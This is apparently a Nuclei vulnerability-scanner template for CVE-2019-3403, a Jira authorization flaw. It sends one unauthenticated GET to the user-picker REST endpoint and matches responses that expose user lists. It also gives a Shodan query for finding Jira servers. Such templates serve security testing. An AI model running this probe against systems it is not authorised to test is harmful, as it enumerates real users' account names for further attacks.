id: CVE-2019-3403

info:
  name: Jira - Incorrect Authorization
  author: Ganofins
  severity: medium
  description: Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 is susceptible to an incorrect authorization check in the /rest/api/2/user/picker rest resource, enabling an attacker to enumerate usernames and gain improper access.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to fix the vulnerability and ensure proper authorization controls are in place.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69242
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-3403
    cwe-id: CWE-863
    epss-score: 0.00379
    epss-percentile: 0.69498
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2019,atlassian,jira,enumeration

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/api/2/user/picker?query="

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"users":'
          - '"total":'
          - '"header":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: word
        part: body
        negative: true
        words:
          - "Showing 0 of 0 matching users"

      - type: status
        status:
          - 200